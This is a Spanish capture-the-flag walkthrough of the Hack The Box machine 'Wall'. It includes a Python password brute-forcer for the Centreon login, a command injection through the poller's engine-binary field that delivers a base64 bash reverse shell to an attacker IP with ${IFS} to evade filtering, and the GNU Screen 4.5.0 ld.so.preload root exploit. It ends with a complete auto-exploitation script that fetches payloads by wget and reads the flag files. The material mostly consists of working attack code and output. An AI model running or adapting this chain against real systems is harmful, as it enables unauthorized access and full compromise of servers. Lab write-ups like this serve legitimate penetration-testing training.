Maquina Retirada Wall de Hack The Box (Necesario VIP)
Wall ~ Hack The Box
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.157 "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Procedemos a realizar el Fuerza Bruta para encontrar Directorios pontenciales a nivel Web, para ello usamos la herramienta Wfuzz
# wfuzz -c -L --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.157/FUZZ 1 ⚙
Target: http://10.10.10.157/FUZZ
Total requests: 220547
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003458: 401 14 L 54 W 459 Ch "monitoring"
Encontramos esta ruta potencial a probar, vamos a hecharle un ojo.
Vemos que es un Panel de Autenticacion Emergente. Vamos a ver como se tramita la data, con Crtl + Mayus + I, nos vamos a la pestaña Network y formulamos la peticion Login
Vemos que se tramita por GET, vamos a hacer la peticion con el Comando CURL
:
# curl -s -X GET "http://10.10.10.157/monitoring"
# curl -s -X GET "http://10.10.10.157/monitoring" | html2text 1 ⚙
****** Unauthorized ******
This server could not verify that you are authorized to access the document
requested. Either you supplied the wrong credentials (e.g., bad password), or
your browser doesn't understand how to supply the credentials required.
===============================================================================
Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80
# "Sin html2text" Respuesta Normal
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80</address>
</body></html>
Vale pues porque NO? vamos a probar a hacer la misma peticion a nivel Web pero cambiando la forma en la que se tramita la DATA a POST
A ver que sucede.. . ..
# curl -s -X POST "http://10.10.10.157/monitoring" | html2text 1 ⚙
****** Moved Permanently ******
The document has moved here.
===============================================================================
Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80
# "Sin html2text"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://10.10.10.157/monitoring/">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.157 Port 80</address>
</body></html>
Vemos que nos devuelve el codigo de estado 301 un redirect y nos pone que el documento a sido movido aqui
. Vamos a poner el parametro -L
en el comando Curl
para
hacer un FOLLOW/SEGUIMIENTO
al REDIRECT
.
# curl -s -X POST "http://10.10.10.157/monitoring" -L | html2text 1 ⚙
****** This page is not ready yet ! ******
***** We should redirect you to the required page ! *****
# "Sin html2text"
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta http-equiv="refresh" content="0; URL='/centreon'" />
Vemos que nos esta devolviendo una ruta /centreon
pues vamos a ver que hay en la ruta que hemos encontrado.
foto
Panel login Centreon, vemos la version 19.04. Recordamos todo lo que sean versiones se lo pasamos a la herramienta SEARCHSPLOIT
# searchsploit centreon 19.04 2 ⚙
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Centreon 19.04 - Authenticated Remote Code Execution (Metasploit) | php/webapps/47948.rb
Centreon 19.04 - Remote Code Execution | php/webapps/47069.py
---------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Vemos un Recurso que es para el uso de METASPLOIT
pero aqui no usamos METASPLOIT
.. uagghhh!!!xD Vamos para el OSCP
y no esta permitido
Probamos el segundo exploit y no nos funciona siguiendo atentamente los pasos que nos indica. Asique como estamos ante un panel loguin vamos a hacernos un script molon para hacer
fuerza bruta
en python3
como en otras ocasiones =D
#!/usr/bin/python3
# coding: utf-8
# Usado para la maquina Wall de HTB
import sys
import time
import requests
import signal
import re
import pdb
from pwn import *
def def_handler(sig, frame):
print("\n[+] Saliendo .. .\n")
sys.exit(1)
# Crtl+C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales
main_url = "http://10.10.10.157/centreon/index.php"
def makeRequest(password):
# Variable "S" para crear una session con la que poder jugar con peticiones Get/Post en la misma Session
s = requests.session()
# Variable "R" para arrastrar la Variable anterior "S" para arrastrar la session y poder Trabajar con el "Centreon Token" al hacer la peticion a "MAIN__URL"
r = s.get(main_url)
# Token en el que filtramos con expresiones Regulares para filtrarlo y pasarlo por cada peticion correctamente
centreon_token = re.findall(r'type="hidden" value="(.*?)"', r.text)[0]
# Data que Formalizamos (Depende de la propia web)
login_data = {
'useralias': 'admin',
'password': password,
'submitLogin': 'Connect',
'centreon_token': centreon_token
}
r = s.post(main_url, data=login_data)
# Bucle if para que cuando la frase Credentianls Incorrect NO se encuentren en la Respuesta del Servidor nos reporte la Contraseña Correcta
if "Your credentials are incorrect." not in r.text:
# Actualizacion de la barra de Progreso P1
p1.status("La Password ha sido encontrada: %s" % password)
sys.exit(0)
if __name__ == '__main__':
# Declaramos una variable "f" que nos abra un diccionario (mil primeras lineas Rockyou.txt) con permisos de lectura
f = open("dicc.txt", "r")
# Barras de estado
p1 = log.progress("Fuerza Bruta contra Centreon")
p1.status("Iniciando proceso de Fuerza Bruta contra el Panel Loguin")
time.sleep(2)
# Para cada Password que se lea se va a tramitar una peticion web probando la Password
for password in f.readlines():
p1.status("Probando la Password: %s" % password.strip("\n"))
# Funcion Principal
makeRequest(password.strip("\n"))
Chequear el script paso por paso y recordar lo del Centreon_token
Ejecutamos el script molon y nos devuelve que para el usuario admin
la password
es pxxxxxxxx
Nos logueamos en el panel de Centreon
con la credencial obtenida.
Antes ojeando el Script en Python del RCE
vemos algunas rutas potenciales a investigar dentro del panel del CMS
Encontramos el RCE en la url http://10.10.10.157/centreon/main.get.php?p=60901
que vemos que tiene un poller
llamado centreon
Nos metemos para configurarlo y nos encontramos con las mismas rutas que habia en el exploit de python y localizamos el campo del RCE para injectar comandos y como ejecutarlo.
Basicamente cambiamos el campo de Monitoring Engine Binary
en la que aparecia una ruta (que borramos) y sustituimos por nuestro comando a ejecutar whoami;
Guardamos la configuracion save
Procedemos a selecionar la plantilla y darle a la opcion Export Configuration
que nos redirige a http://10.10.10.157/centreon/main.php?p=60902&poller=1
Estando en la pagina de | Configuration Files Export
procedemos a darle a Export
.
Y vemos que hemos encontrado el RCE, ahora vamos a intentar entablarnos una reverse_shell como siempre para acceder a la maquina.
Probamos distintos comandos y obtenemos que muchas veces [sobretodo cuando hay espacios en el comando] no podemos guardar la configuracion como si por detras hubiese un Waff
o Firewall
.
Conseguimos obtener una reverse_shell atraves de introducir el siguiente comando:
# Pasamos a base64 nuestro comando a ejecutar
echo 'bashc -i >& /dev/tcp/10.10.15.141/1234 0>&1' | base64
YmFzaGMgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQxLzEyMzQgMD4mMQo=
# Procedemos a poner el comando a ejecutar final
echo YmFzaGMgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQxLzEyMzQgMD4mMQo= | base64 -d | bash
# Y no nos funciona!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Espacios NO porfavor ${IFS}
Como hemos dicho antes, parece ser que hay un WAFF
por detras validando que no hallan espacios, asique en bash una tecnica muy buena es la de sustituir los espacios por el
comando ${IFS}
Tal que asi quedaria el comando que nos devuelve la shell perfectamente:
echo${IFS}YmFzaGMgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQxLzEyMzQgMD4mMQo=|base64${IFS}-d|bash;
Automatizacion de la intrusion para ganar acceso directo con nuestro exploit AutoPwn_Wall.py
Vamos a crearnos nuestro script para automatizar la intrusion tal como la hemos explicado, pasando el script en python3
de Fuerza Bruta
a un Exploit
de acceso a la maquina
como el usuario www-data
#!/usr/bin/python3
# coding: utf-8
import sys
import time
import requests
import signal
import re
import pdb
from pwn import *
def def_handler(sig, frame):
print("\n[+] Saliendo .. .\n")
sys.exit(1)
# Crtl+C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales
main_url = "http://10.10.10.157/centreon/index.php"
config_url = "http://10.10.10.157/centreon/main.get.php?p=60901"
rce_url = "http://10.10.10.157/centreon/include/configuration/configGenerate/xml/generateFiles.php"
def makeRequest(password):
# Variable "S" para crear una session con la que poder jugar con peticiones Get/Post en la misma Session
s = requests.session()
# Variable "R" para arrastrar la Variable anterior "S" para arrastrar la session y poder Trabajar con el "Centreon Token" al hacer la peticion a "MAIN__URL"
r = s.get(main_url)
# Token en el que filtramos con expresiones Regulares para filtrarlo y pasarlo por cada peticion correctamente
centreon_token = re.findall(r'type="hidden" value="(.*?)"', r.text)[0]
# Data que Formalizamos (Depende de la propia web)
login_data = {
'useralias': 'admin',
'password': password,
'submitLogin': 'Connect',
'centreon_token': centreon_token
}
r = s.post(main_url, data=login_data)
# Volvemos a actualizar la variable Centreon_token haciendo una peticion a la url nueva y actualizando el nombre de la variable a new_token
r = s.get(config_url)
new_token = re.findall(r'type="hidden" value="(.*?)"', r.text)[6]
# Data que tramitamos para la segunda peticion web y ganar acceso
data_config_post = {
'name':'Central',
'ns_ip_address':'127.0.0.1',
'localhost[localhost]':'1',
'is_default[is_default]':'0',
'ssh_port':'22',
'init_script':'centengine',
'nagios_bin':'echo${IFS}YmFzaGMgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQxLzEyMzQgMD4mMQo=|base64${IFS}-d|bash;',
'nagiostats_bin':'/usr/sbin/centenginestats',
'nagios_perfdata':'/var/log/centreon-engine/service-perfdata',
'centreonbroker_cfg_path':'/etc/centreon-broker',
'centreonbroker_module_path':'/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path': '',
'centreonconnector_path':'/usr/lib64/centreon-connector',
'init_script_centreontrapd':'centreontrapd',
'snmp_trapd_path_conf':'/etc/snmp/centreon_traps/',
'ns_activate[ns_activate]':'1',
'submitC':'Save',
'id':'1',
'o':'c',
'centreon_token': new_token
}
# Peticion arrastrando la session S
r = s.post(config_url, data=data_config_post)
# Data para el ejecutar el rce con la tercera peticion a nivel web
rce_data = {
'poller': '1',
'debug': 'true',
'generate':'true'
}
# Peticion ultima en la que seria darle a la opcion "Export"
r = s.post(rce_url, data=rce_data)
if __name__ == '__main__':
p1 = log.progress("Abriendo Session")
# Funcion Principal
makeRequest("password1")
Vale lanzamos el exploit:
# python3 AutoPwn_Wall.py 1 ⚙
[ ] Abriendo Session
Nos ponemos con una session de nc -vlnp 1234
en el puerto indicado anteriormente y procedemos a hacer los mismos pasos.
Recibimos la R_shell
└─# nc -vlnp 1234 1 ⨯
listening on [any] 1234 ...
connect to [10.10.15.141] from (UNKNOWN) [10.10.10.157] 60452
bash: cannot set terminal process group (1001): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Wall:/usr/local/centreon/www$
Escalada de privilegios
Una vez dentro vemos donde se encuentra la flag user.txt
, y se encuentra en la ruta /home/shelby/user.txt
Intentamos visualizarla y vemos que no tenemos acceso a ella. Por lo que toca enumerar para ver si hay alguna posibilidad de escalar privilegios al usuario shelby o root.
Procedemos como siempre:
www-data@Wall:/usr/local/centreon/www$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/bin/mount
/bin/ping
"/bin/screen-4.5.0" "Investigamos este"
/bin/fusermount
/bin/su
/bin/umount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/eject/dmcrypt-get-device
Hacemos un searchsploit screen 4.5
:
# searchsploit screen 4.5
----------------------------------------------------------------------------- ---------
Exploit Title | Path
---------------------------------------------------------------------------- -----------
GNU Screen 4.5.0 - Local Privilege Escalation | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | linux/local/41152.txt
----------------------------------------------------------------------------- -----------
Nos descargamos el primero que esta en bash
Y vemos lo que hace.
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
Vale pues porque no vamos a intentar copiarnoslo y ejecutarlo en la maquina victima a ver si conseguimos acceso como root!! Lo probamos y vemos que si:
www-data@Wall:/etc$ /tmp/rootshell
# whoami
root
#
Conseguimos escalar privilegios como root
y ya podriamos visualizar las dos flags !! =D Maquina Rooteada Perooo……. porque no? vamos a automatizarnos la escalada con nuestro
exploit AutoPwn_Wall.py
para acceder como root
Directamente Yeahh!!!
# ls 1 ⚙
"AutoPwn_Wall.py" libhax.c "libhax.so" "rootshell" rootshell.c
Vale pues para la escalada tenemos que crearnos dos archivos (los no indicados) y compilarlos para que el exploit tire de ellos y lso transfiera desde nuestra ip a la maquina victima
#!/usr/bin/python3
# coding: utf-8
import sys
import time
import requests
import signal
import re
import pdb
import threading
from pwn import *
def def_handler(sig, frame):
print("\n[+] Saliendo .. .\n")
sys.exit(1)
# Crtl+C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales, hacemos tres peticiones web 1 main_url, 2 config_url y 3 rce_url
main_url = "http://10.10.10.157/centreon/index.php"
config_url = "http://10.10.10.157/centreon/main.get.php?p=60901"
rce_url = "http://10.10.10.157/centreon/include/configuration/configGenerate/xml/generateFiles.php"
lport = 1234 # No Change THIS
def makeRequest(password):
# Variable "S" para crear una session con la que poder jugar con peticiones Get/Post en la misma Session
s = requests.session()
# Variable "R" para arrastrar la Variable anterior "S" para arrastrar la session y poder Trabajar con el "Centreon Token" al hacer la peticion a "MAIN__URL"
r = s.get(main_url)
# Token en el que filtramos con expresiones Regulares para filtrarlo y pasarlo por cada peticion correctamente
centreon_token = re.findall(r'type="hidden" value="(.*?)"', r.text)[0]
# Data que Formalizamos, modificamos los parametros password y cetreon token para que valgan las variables que tenemos predefinidas
login_data = {
'useralias': 'admin',
'password': password,
'submitLogin': 'Connect',
'centreon_token': centreon_token
}
# Peticion POST arrastrando la session y tramitando la data password1
r = s.post(main_url, data=login_data)
# Actualizando el valor de la variable cetreon_token a new token, hacemos otra peticion a la url correspondiente y filtramos igual con la libreria RE
r = s.get(config_url)
# El antiguo cetreon_token ahora lo llamamos new_token y lo reobtenemos de la url correspondiente config_url
new_token = re.findall(r'type="hidden" value="(.*?)"', r.text)[6]
# Data que Formalizamos en esta nueva peticion web
data_config_post = {
'name':'Central',
'ns_ip_address':'127.0.0.1',
'localhost[localhost]':'1',
'is_default[is_default]':'0',
'ssh_port':'22',
'init_script':'centengine',
'nagios_bin':'echo${IFS}YmFzaGMgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQxLzEyMzQgMD4mMQo=|base64${IFS}-d|bash;',
'nagiostats_bin':'/usr/sbin/centenginestats',
'nagios_perfdata':'/var/log/centreon-engine/service-perfdata',
'centreonbroker_cfg_path':'/etc/centreon-broker',
'centreonbroker_module_path':'/usr/share/centreon/lib/centreon-broker',
'centreonbroker_logs_path': '',
'centreonconnector_path':'/usr/lib64/centreon-connector',
'init_script_centreontrapd':'centreontrapd',
'snmp_trapd_path_conf':'/etc/snmp/centreon_traps/',
'ns_activate[ns_activate]':'1',
'submitC':'Save',
'id':'1',
'o':'c',
'centreon_token': new_token
}
r = s.post(config_url, data=data_config_post)
# Data de la ultima peticion RCE
rce_data = {
'poller': '1',
'debug': 'true',
'generate':'true'
}
r = s.post(rce_url, data=rce_data)
if __name__ == '__main__':
# Metemos un hilo
try:
threading.Thread(target=makeRequest, args=("password1",)).start()
except Exception as e:
log.error(str(e))
# Varibles de texto
p1 = log.progress("Pwn")
p1.status("Ganando Acceso al sistema")
# variable a la escucha por el puerto indicado 1234 esperando una conexion entrante
shell = listen(lport, timeout=20).wait_for_connection()
# Bucle if la variable shell no tiene conexion fail
if shell.sock is None:
p1.failure("No se ha podido ganar acceso, paquete")
# Cualquier otra cosa Succes
else:
p1.success("Yuhu!!, se ha entrablado la conexion ahi to pro")
time.sleep(2)
# Privesc atraves de el binario SUID SCREEN 4.5
shell.sendline("cd /tmp")
shell.sendline("wget http://10.10.15.141/libhax.c")
shell.sendline("wget http://10.10.15.141/rootshell")
shell.sendlines("chmod +x libhax.c rottshell")
shell.sendline("cd /etc")
shell.sendline("umask 000")
shell.sendline("screen -D -m -L ld.so.preload echo -ne '\x0a/tmp/libhax.so'")
shell.sendline("screen -ls")
shell.sendline("/tmp/rootshell")
shell.sendline("'user:' | cat /home/shelby/user.txt")
shell.sendline("'root:' | cat /root/root.txt")
# llamamos a la variable shell final para que nos lance la shell
shell.interactive()